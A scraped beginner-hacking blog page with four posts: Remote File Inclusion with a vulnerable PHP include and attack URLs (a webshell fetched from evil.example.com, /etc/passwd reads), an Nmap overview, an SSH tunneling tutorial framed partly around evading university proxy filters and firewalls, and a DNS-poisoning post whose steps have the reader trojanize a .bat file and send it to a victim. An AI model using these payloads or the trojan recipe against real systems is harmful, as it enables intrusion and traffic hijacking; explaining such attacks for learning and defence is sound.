Way To Hackintosh : EXPLANATION ABOUT

what is RIF ? - Remote File Inclusion

Admin Jixxi 0 EXPLANATION, EXPLANATION ABOUT, vulnerablity

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;"><b>File inclusion vulnerability</b> is a type of vulnerability most often found on websites. </span><br />
<br />
<span style="font-size: large;">It allows an attacker to include a file, usually through a script on the web server. </span><br />
<br />
<span style="font-size: large;">The vulnerability occurs due to the use of user-supplied input without 
proper validation. </span><br />
<br />
<span style="font-size: large;">This can lead to something as minimal as outputting 
the contents of the file or more serious events such as:</span><br />
<br />
<ul>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the web server</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Denial of service (DoS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Data theft/manipulation</b></span></span></li>
</ul>
<span style="font-size: large;"> In <a href="http://en.wikipedia.org/wiki/PHP" title="PHP">PHP</a> the main cause is due to the use of unvalidated external variables such as <b>$_GET, $_POST, $_COOKIE</b> with a filesystem function. Most notable are the <code>include</code> and <code>require</code> statements</span><br />
<br />
<h4>
<span class="mw-headline" id="Example">Example</span></h4>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="php source-php">
<pre class="de1"><span class="kw2"><?php</span>
   <span class="kw1">if</span> <span class="br0">(</span> <span class="kw3">isset</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="br0">)</span> <span class="br0">)</span> <span class="br0">{</span>
      <span class="kw1">include</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="sy0">.</span> <span class="st_h">'.php'</span> <span class="br0">)</span><span class="sy0">;</span>
   <span class="br0">}</span>
<span class="sy1">?></span>
</pre>
</div>
</div>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="html5 source-html5">
<pre class="de1"><span class="sc2"><<span class="kw2">form</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">"get"</span>></span>
   <span class="sc2"><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"COLOR"</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"red"</span>></span>red<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"blue"</span>></span>blue<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
   <span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>></span>
   <span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
</pre>
</div>
</div>
<h4>
<span class="mw-headline" id="Example"> Then hacker will include its infected page or file in to webserver </span></h4>
<ul>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>http://evil.example.com/webshell.txt?</b></code></span><b> - injects a remotely hosted file containing a malicious code. </b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\ftp\\upload\\exploit</b></code></span> <b>- Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\notes.txt</b></code></span> <b>- example using NULL meta character to remove the <code>.php</code>
 suffix, allowing access to files other than .php. (Enabling 
magic_quotes_gpc limits the attack by escaping special characters, thus 
disabling the use of the NUL terminator)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>/etc/passwd</b></code></span> <b>- allows an attacker to read the contents of the passwd file on a UNIX system directory traversal. </b></li>
</ul>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;"> </span></span></h4>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;">the given method which we are using to include have some validation to prevent this kind of attack  </span></span></h4>
<div style="text-align: right;">
<span style="font-size: large;"> source:-<a href="http://en.wikipedia.org/wiki/File_inclusion_vulnerability" target="_blank">wiki</a> , <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" target="_blank">owasp</a></span></div>
</div>

what is RIF ? - Remote File Inclusion

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually ...

Nmap (Network Mapper) - introduction

minix 0 5 things a Beginner Hacker should know, BEGINNERS, BEST TOOLS EVER, EXPLANATION, EXPLANATION ABOUT, Top 5 Anonymous Tools

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="userContent" data-ft="{"tn":"K"}">Nmap 
("Network Mapper") is a free and open source (license) utility for 
network exploration or security auditing. Many systems and network 
administrators also find it useful for tasks such as network inventory, 
managing service upgrade schedules, and monitoring host or service 
uptime. </span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}">Nmap uses raw IP packets in novel ways to determine what hosts 
are available on the network, what services (applic<span class="text_exposed_show">ation
 name and version) those hosts are offering, what operating systems (and
 OS versions) they are running, what type of packet filters/firewalls 
are in use, and dozens of other characteristics. </span></span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">It was designed to 
rapidly scan large networks, but works fine against single hosts. Nmap 
runs on all major computer operating systems, and official binary 
packages are avalable for Linux, Windows, and Mac OS X. In addition to 
the classic command-line Nmap executable, the Nmap suite includes an 
advanced GUI and results viewer (Zenmap), a flexible data transfer, 
redirection, and debugging tool (Ncat), and a utility for comparing scan
 results (Ndiff).<br /> <br /> Nmap is ...<br /> <br />     * Flexible: Supports
 dozens of advanced techniques for mapping out networks filled with IP 
filters, firewalls, routers, and other obstacles. This includes many 
port scanning mechanisms (both TCP & UDP), OS </span></span><br />
<br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">detection, version 
detection, ping sweeps, and more.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Powerful: Nmap has been used to scan huge networks of literally hundreds of thousands of machines.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Portable: Most operating systems are supported, including Linux, 
Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, 
NetBSD, Sun OS, Amiga, and more.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Easy: While Nmap offers a 
rich set of advanced features for power users, you can start out as 
simply as "nmap -v -A targethost". Both traditional command line and 
graphical (GUI) versions are available to suit your preference. Binaries
 are available for those who do not wish to compile Nmap from source.<br /><span> </span></span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show"><span>* Free: The primary goals of the Nmap Project is to help make the 
Internet a little more secure and to provide administrators/auditors/</span><wbr></wbr><span class="word_break"></span>hackers
 with an advanced tool for exploring their networks. Nmap is available 
for free download, and also comes with full source code that you may 
modify and redistribute under the terms of the license.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Well 
Documented: Significant effort has been put into comprehensive and 
up-to-date man pages, whitepapers, tutorials, and even a whole book!<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Supported: While Nmap comes with no warranty, it is well 
supported by a vibrant community of developers and users. Most of this 
interaction occurs on the Nmap mailing lists. Most bug reports and 
questions should be sent to the nmap-dev list, but only after you read 
the guidelines. We recommend that all users subscribe to the low-traffic
 nmap-hackers announcement list. You can also find Nmap on Facebook and 
Twitter. For real-time chat, join the <a class="_58cn" data-ft="{"tn":"*N","type":104}" href="https://www.facebook.com/hashtag/nmap">#nmap</a> channel on Freenode or EFNet.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Acclaimed: Nmap has won numerous awards, including "Information 
Security Product of the Year" by Linux Journal, Info World and 
Codetalker Digest. It has been featured in hundreds of magazine 
articles, several movies, dozens of books, and one comic book series.<br /> </span></span><br />
<span class="userContent" data-ft="{"tn":"K"}"><span class="text_exposed_show">* Popular: Thousands of people download Nmap every day, and it is 
included with many operating systems (Redhat Linux, Debian Linux, 
Gentoo, FreeBSD, OpenBSD, etc). It is among the top ten (out of 30,000) 
programs at the Freshmeat.Net repository. This is important because it 
lends Nmap its vibrant development and user support communities.<br /> <br /> Installing nMap:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fbook%2Finstall.html&h=4AQHXMISM&enc=AZNZpceDswHpF9N6vsuQM-IBMSfY4FGQWY2-_8XsEvdB2iIvHwaG_phtLvtZEJ1iB5J2tFjV0Trj58pF_k7fdnRX_RXU6Jxx2ACksUp-7ZYqETbtSV9up97Z2s7_6y1CahseYWX2OnP0nq7BnEHibcaf&s=1" rel="nofollow nofollow" target="_blank"><span>http://nmap.org/book/</span><wbr></wbr><span class="word_break"></span>install.html</a><br /> <br /> Changelog:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fchangelog.html&h=iAQEVHM_X&enc=AZO-GustSzPsC1xY_uxYjIVixrtdaAlI6WBZO4rc5aaxedw9Xm4OP2Y1txxiE0nM5tFSgO0-QC7lIMMD3YmnSvKBWJ7f3rugmxzFPUQN3zwSlQmKLC1QbAkn9x0wthaCS9nuA-hloPyhbMnhvvUhzWC3&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/changelog.html</a><br /> <br /> How To Use:<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fbook%2Fman.html&h=hAQH7uXqU&enc=AZNj_1pFBRIm4S8b8Vlxlb0A0mkWBVmVoM6Q38M2jI2gT5UrY4T3uScRUSiMZJDY43UyBY2klXbKLeAO_0Gkk5Dw6yL8zaQ--0Qf1ziOYgeAltxk4uNZa42cmmBQN8355Il7wUl-pUfkogJVbJPDwkxM&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/book/man.html</a><br /> <br /> Download<br /> <a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fnmap.org%2Fdownload.html&h=OAQGbF2PM&enc=AZPW9meLTtaq--7Xad49khR97Ah_Gp2k7vDpZc6oOKeXruPBLkpDg9qsn__FnBrCeZSgmf9mFR4ZFrOmSwGo08SPeLFtdRyYcyz7ldKT5DGJ-FcpDMiTwVO8t3sCoBsvlBYmQqT6YnIXoSsn6o9dZ-vw&s=1" rel="nofollow nofollow" target="_blank">http://nmap.org/download.html</a></span></span></div>

Nmap (Network Mapper) - introduction

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems ...

SSH Tunneling Explained

Admin Jixxi 0 5 things a Beginner Hacker should know, BEGINNERS, EXPLANATION, EXPLANATION ABOUT, SSH Tunneling Explained

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_N7NUQvAEB8vbEenDFN0aHDiOvQOOdIr0Xd6EA-bOSZuE4UPSvCJzkIw4_RzzMMzHRnDo-8qRhPHUz6v6sT3W_xY-Z9Q7VRVgzIyZ8dcq2Aqrc_WcRnRgwlTJmb29wsivZTbuIOYow3m/s1600/localportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_N7NUQvAEB8vbEenDFN0aHDiOvQOOdIr0Xd6EA-bOSZuE4UPSvCJzkIw4_RzzMMzHRnDo-8qRhPHUz6v6sT3W_xY-Z9Q7VRVgzIyZ8dcq2Aqrc_WcRnRgwlTJmb29wsivZTbuIOYow3m/s320/localportforwarding.jpg" width="320" /></a></div>
Recently I wanted to set up a remote desktop sharing session from 
home pc to my laptop. While going through the set up guide I came across
 ssh tunneling. Even though there are many articles on the subject still
 it took me a considerable amount of googling, some experimenting and 
couple of Wireshark sessions to grasp what’s going under the hood. Most 
of the guides were incomplete in terms of explaining the concept which 
left me desiring for a good article on the subject with some explanatory
 illustrations. So I decided to write it my self. So here goes…<br />

<h3 style="text-align: justify;">
Introduction</h3>
<div style="text-align: justify;">
A SSH tunnel consists of an encrypted tunnel created through a SSH protocol<br />
connection. A SSH tunnel can be used to transfer unencrypted traffic over a<br />
network through an encrypted channel. For example we can use a ssh tunnel to<br />
securely transfer files between a FTP server and a client even though the FTP<br />
protocol itself is not encrypted. SSH tunnels also provide a means to 
bypass firewalls that prohibits or filter certain internet services. For
 example an organization will block certain sites using their proxy 
filter. But users may not wish to have their web traffic<br />
monitored or blocked by the organization proxy filter. If users can connect to<br />
an external SSH server, they can create a SSH tunnel to forward a given port on<br />
their local machine to port 80 on remote web-server via the external SSH<br />
server. I will describe this scenario in detail in a little while.</div>
<div style="text-align: justify;">
To set up a SSH tunnel a given port of one machine needs to be forwarded (of<br />
which I am going to talk about in a little while) to a port in the other<br />
machine which will be the other end of the tunnel. Once the SSH tunnel has been<br />
established, the user can connect to earlier specified port at first machine to<br />
access the network service.</div>
<h3 style="text-align: justify;">
Port Forwarding</h3>
<div style="text-align: justify;">
SSH tunnels can be created in several ways using different kinds of port forwarding<br />
mechanisms. Ports can be forwarded in three ways.</div>
<ol style="text-align: justify;">
<li>Local port forwarding</li>
<li>Remote port forwarding</li>
<li>Dynamic port forwarding</li>
</ol>
<div style="text-align: justify;">
I didn’t explain what port forwarding is. I found Wikipedia’s definition more explanatory.</div>
<blockquote>
Port forwarding or port mapping is a name given to the combined technique of<br />

<ol>
<li>translating the address and/or port number of a packet to a new destination</li>
<li>possibly accepting such packet(s) in a packet filter(firewall)</li>
<li>forwarding the packet according to the routing table.</li>
</ol>
</blockquote>
<div style="text-align: justify;">
Here the first technique will be used in 
creating an SSH tunnel. When a client application connects to the local 
port (local endpoint) of the SSH tunnel and transfer data these data 
will be forwarded to the remote end by translating the host and port 
values to that of the remote end of the channel.</div>
<div style="text-align: justify;">
So with that let’s see how SSH tunnels can be created using forwarded ports with an examples.</div>
<h3 style="text-align: justify;">
Tunnelling with Local port forwarding</h3>
<div style="text-align: justify;">
Let’s say that yahoo.com is being blocked using a proxy filter in the University.<br />
(For the sake of this example. :d  
 . Cannot think any valid reason why yahoo would be blocked). A SSH 
tunnel can be used to bypass this restriction. Let’s name my machine at 
the university as ‘work’ and my home machine as ‘home’. ‘home’ needs to 
have a public IP for this to work. And I am running a SSH server on my 
home machine. Following diagram illustrates the scenario.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLy_3wO0wN4-FfOEILVU-T6Zktxde4L7G4e0SBO6McYJuEOghSb1lz5xN8fiNQe69yd50bdpVbryH6fzQ27rTqsYL-4NJ7ieiVKRaBPJmNY_X4LowMl0tBNWk_5yb4MhUuPOfXewsZK6B/s1600/scenario.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLy_3wO0wN4-FfOEILVU-T6Zktxde4L7G4e0SBO6McYJuEOghSb1lz5xN8fiNQe69yd50bdpVbryH6fzQ27rTqsYL-4NJ7ieiVKRaBPJmNY_X4LowMl0tBNWk_5yb4MhUuPOfXewsZK6B/s640/scenario.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div style="text-align: justify;">
To create the SSH tunnel execute following from ‘work’ machine.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 9001:yahoo.com:80 home</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
The ‘L’ switch indicates that a local port forward is need to be created. The switch syntax is as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">-L <local-port-to-listen>:<remote-host>:<remote-port></pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Now the SSH client at ‘work’ will connect
 to SSH server running at ‘home’ (usually running at port 22) binding 
port 9001 of ‘work’ to listen for local requests thus creating a SSH 
tunnel between ‘home’ and ’work’. At the ‘home’ end it will create a 
connection to ‘yahoo.com’ at port 80. So ‘work’ doesn’t need to know how
 to connect to yahoo.com. Only ‘home’ needs to worry about that. The 
channel between ‘work’ and ‘home’ will be encrypted while the connection
 between ‘home’ and ‘yahoo.com’ will be unencrypted.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now it is possible to browse yahoo.com by visiting <a href="http://localhost:9001/" rel="nofollow">http://localhost:9001</a>
 in the web browser at ‘work’ computer. The ‘home’ computer will act as a
 gateway which would accept requests from ‘work’ machine and fetch data 
and tunnelling it back. So the syntax of the full command would be as 
follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L <local-port-to-listen>:<remote-host>:<remote-port> <gateway></pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
The image below describes the scenario.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieF2hNUXvxMcGyDXkvIvdK-vZG1iehwCshQrB_ExTWJmr7zSgH6__ou-IJme_z2fs8Mtr_1MpwFMBkk_70gugglSu_MN8wJhDHgai6Sxp_arriBAgeWyS4SOIFWQI8E0xepJsfILTw8flh/s1600/localportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieF2hNUXvxMcGyDXkvIvdK-vZG1iehwCshQrB_ExTWJmr7zSgH6__ou-IJme_z2fs8Mtr_1MpwFMBkk_70gugglSu_MN8wJhDHgai6Sxp_arriBAgeWyS4SOIFWQI8E0xepJsfILTw8flh/s640/localportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Here the ‘host’ to ‘yahoo.com’ connection is only made when browser makes the<br />
request not at the tunnel setup time.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
It is also possible to specify a port in the ‘home’ computer itself instead of<br />
connecting to an external host. This is useful if I were to set up a VNC session<br />
between ‘work’ and ‘home’. Then the command line would be as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 5900:localhost:5900 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
So here what does localhost refer to? Is 
it the ‘work’ since the command line is executed from ‘work’? Turns out 
that it is not. As explained earlier is relative to the gateway (‘home’ 
in this case) , not the machine from where the tunnel is initiated. So 
this will make a connection to port 5900 of the ‘home’ computer where 
the VNC client would be listening in.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The created tunnel can be used to 
transfer all kinds of data not limited to web browsing sessions. We can 
also tunnel SSH sessions from this as well. Let’s assume there is 
another computer (‘banned’) to which we need to SSH from within 
University but the SSH access is being blocked. It is possible to tunnel
 a SSH session to this host using a local port forward. The setup would 
look like this.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSDWZrXleJzE0RdHH808w13j6XagYSlDgoQS9xkQKttvaZWmCOm0jWHhAZs9JpMfL3YpokD1zgy8pQgVyMtKCvXWbRyBaT5LQV-iNQQlFUwcNxNC8-Dk0muFCfRUSu87S2oyaSDWPAQbx3/s1600/sshsessionforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSDWZrXleJzE0RdHH808w13j6XagYSlDgoQS9xkQKttvaZWmCOm0jWHhAZs9JpMfL3YpokD1zgy8pQgVyMtKCvXWbRyBaT5LQV-iNQQlFUwcNxNC8-Dk0muFCfRUSu87S2oyaSDWPAQbx3/s640/sshsessionforwarding.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
As can be seen now the transferred data 
between ‘work’ and ‘banned’ are encrypted end to end. For this we need 
to create a local port forward as follows.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -L 9001:banned:22 home</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Now we need to create a SSH session to local port 9001 from where the session<br />
will get tunneled to ‘banned’ via ‘home’ computer.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -p 9001 localhost</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
With that let’s move on to next type of SSH tunnelling method, reverse tunnelling.</div>
<div style="text-align: justify;">
<br /></div>
<h3 style="text-align: justify;">
Reverse Tunnelling with remote port forwarding</h3>
<div style="text-align: justify;">
Let’s say it is required to connect to an internal university website from home.<br />
The university firewall is blocking all incoming traffic. How can we 
connect from ‘home’ to internal network so that we can browse the 
internal site? A VPN setup is a good candidate here. However for this 
example let’s assume we don’t have this facility. Enter SSH reverse 
tunnelling..</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As in the earlier case we will initiate 
the tunnel from ‘work’ computer behind the firewall. This is 
possible since only incoming traffic is blocking and outgoing traffic is
 allowed. However instead of the earlier case the client will now be at 
the ‘home’ computer. Instead of -L option we now define -R which 
specifies<br />
a reverse tunnel need to be created.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -R 9001:intra-site.com:80 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Once executed the SSH client at ‘work’ 
will connect to SSH server running at home creating a SSH channel. Then 
the server will bind port 9001 on ‘home’ machine to listen for incoming 
requests which would subsequently be routed through the created SSH 
channel between ‘home’ and ‘work’. Now it’s possible to browse the 
internal site</div>
<div style="text-align: justify;">
<br />
by visiting <a href="http://localhost:9001/" rel="nofollow">http://localhost:9001</a>
 in ‘home’ web browser. The ‘work’ will then create a connection to 
intra-site and relay back the response to ‘home’ via the created SSH 
channel.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX9_kvDbHvpW100qg15uiRixRH5DIV_rImXn9Elznas9DZJ8KKNWf6V45WKjpajOKslYgKFa972gfr9QdQMYH0o0RoKelmPeKVNzRdwhfyojUb44Jum7Fjt2HyyplwYIwsXq0K6VrlPr3-/s1600/remoteportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX9_kvDbHvpW100qg15uiRixRH5DIV_rImXn9Elznas9DZJ8KKNWf6V45WKjpajOKslYgKFa972gfr9QdQMYH0o0RoKelmPeKVNzRdwhfyojUb44Jum7Fjt2HyyplwYIwsXq0K6VrlPr3-/s640/remoteportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As nice all of these would be still you 
need to create another tunnel if you need to connect to another site in 
both cases. Wouldn’t it be nice if it is possible to proxy traffic to 
any site using the SSH channel created? That’s what dynamic port 
forwarding is all about.</div>
<h3 style="text-align: justify;">
Dynamic Port Forwarding</h3>
<div style="text-align: justify;">
Dynamic port forwarding allows to 
configure one local port for tunnelling data to all remote 
destinations. However to utilize this the client application connecting 
to local port should send their traffic using the SOCKS protocol. At the
 client side of the tunnel a SOCKS proxy would be created and the 
application (eg. browser) uses the SOCKS protocol to specify where the 
traffic should be sent when it leaves the other end of the ssh tunnel.</div>
<div style="text-align: justify;">
<br /></div>
<pre class="brush: xml; title: ; notranslate" title="">ssh -D 9001 home (Executed from 'work')</pre>
<pre class="brush: xml; title: ; notranslate" title=""> </pre>
<div style="text-align: justify;">
Here SSH will create a SOCKS proxy listening in for connections at local port<br />
9001 and upon receiving a request would route the traffic via SSH channel<br />
created between ‘work’ and ‘home’. For this it is required to configure the<br />
browser to point to the SOCKS proxy at port 9001 at localhost.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8nOMmO4XSZI_R1t3B2uf8UwY4WfIG6HCRs1ucG2vkqps0YlQeKe-O2JrDSEsypouxLFAPpBPbcF6cBj9_QwZMoY3sSxlx3lcUdbm_4NyqgRvfRmpxIbBrFw-njRo55KbcNkpERXoTR6h/s1600/dynamicportforwarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8nOMmO4XSZI_R1t3B2uf8UwY4WfIG6HCRs1ucG2vkqps0YlQeKe-O2JrDSEsypouxLFAPpBPbcF6cBj9_QwZMoY3sSxlx3lcUdbm_4NyqgRvfRmpxIbBrFw-njRo55KbcNkpERXoTR6h/s640/dynamicportforwarding.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
thats all hope you enjoy this tutorial   :>)    </div>
</div>

SSH Tunneling Explained

Recently I wanted to set up a remote desktop sharing session from home pc to my laptop. While going through the set up guide I came acro...

DNS poisoning - EXPLANATION | hacking trick

Admin Jixxi 0 5 things a Beginner Hacker should know, BEGINNERS, DNS poisoning, EXPLANATION, EXPLANATION ABOUT, hacking

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;"><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">DNS poisoning is a technique that tricks a DNS</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">server into believing that is has received authentic</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">inforamtion when, in reality, it has not. It results in</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">substitution of a false Ineternet provider address at</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">the domain name service level where web addresses</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">are converted into numeric internet provider</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">addresses. It allows attacker to replace IP address</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 18px;">DNS entries for a target site on a given DN</span><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">S server<br />with IP addresses of the server he/she controls.<br />Attacker can create fake DNS entries for files with<br />same names as that of target server.<br />The DNS provides a way for computers to translate<br />the domain names we see to the physical IPs they<br />represent. When you load a webpage, your browser<br />will ask its DNS server for the IP of the host you<br />requested, and the server will respond. Your browser<br />will then request the webpage from the server with<br />the IP address that the DNS server supplied.<br />To launch a DNS poisoning attack, follow these<br />steps:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ set up a fake website on your computer</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ Install treewalk and modify the file mentioned in<br />the readme.txt to your IP address. Treewalk will<br />make you the DNS server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Modify the file dns-spoofing.bat and replace the IP<br />address with your IP address.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br />+ Trojanize the dns-spoofing.bat file and send it</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ When the host clicks the Trojanned file, it will<br />replace DNS-entry in her TCP/IP properties to that of<br />your machine.</span></span>
